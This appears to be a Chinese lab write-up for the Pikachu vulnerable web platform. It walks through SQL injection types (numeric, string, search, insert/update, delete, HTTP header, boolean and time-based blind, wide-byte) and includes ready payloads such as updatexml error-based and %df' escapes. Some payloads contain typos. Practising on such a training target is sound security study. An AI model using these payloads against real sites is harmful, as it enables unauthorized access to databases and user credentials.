zoukankan      html  css  js  c++  java
  • pikachu的sql注入

    一、数字型注入

    1.先输入一下看看

     2.直接抓包,在编号后面加真命题

     成功注入爆数据库

    二、字符型注入

    1.加单引号报错,说明存在注入

     2.加上真命题爆出all

     三、搜索型注入

    1.加单引号报错,直接加真命题

    lucy' or 1=1 #

     四、xx型注入

    1.先试了试a',发现没有反应,后来在提示里看见了一个反括号,于是加了一个反括号

    发现有回显

    于是利用联合查询,order为2

    2.爆出数据库名字

    3.通过数据库名爆出users,从users中爆出账户和密码

     

    五、insertupdate注入

    1.1.insert注入
    测试模块:注册处
    令用户名为a’

     

    Payload:

    a' or updatexml(1,concat(0x7e,database()),0) or'

     

    爆出数据库名

    2.update注入

    先登录进去,然后在修改资料处填写信息抓包
    Payload:

    a' or updatexml(1,concat(0x7e,database()),0) or'

     

     成功

    六、delete注入

    1.先留言,点击删除时抓包

    2.修改payload

     成功

    七、http header注入

    1.抓包,对UA头修改

     将payload构造

    1' or updatexml (1,concat(0x7e,datebase()),0) or '

     八、盲注(base on boolian)

    1.只有输入kobe' and 1=1 # 才有反应

     2.利用and构造

    kobe' and ascii(substr(database(),1,1))=112#

     九、盲注(base on time)

    1.kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#

    急速返回,说明首字母不是a

    根据时间的延迟来做判断
    用 if 做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和 p 作比较,如果等于p 则暂停5秒钟。

     暂定了五秒才输出结果

    十、宽字节注入

    当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

    GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。

    在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload

    当我们用通常的测试 payload时,是无法执行成功的

    因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸
    kobe%df' or 1=1#

  • 相关阅读:
    Spring Boot 无侵入式 实现 API 接口统一 JSON 格式返回
    Java8 Stream:2万字20个实例,玩转集合的筛选、归约、分组、聚合
    排名前 16 的 Java 工具类
    万字详解,JDK8 的 Lambda、Stream 和日期的使用详解
    这样规范写代码,同事直呼“666”
    Java多线程高并发学习笔记——阻塞队列
    零散的MySQL基础总是记不住?看这一篇就够了!
    Java 中自定义注解及使用场景
    最简单的6种防止数据重复提交的方法!
    选择数据库联系人【选择之后将不在列表】
  • 原文地址:https://www.cnblogs.com/p201721420016/p/12035345.html
Copyright © 2011-2022 走看看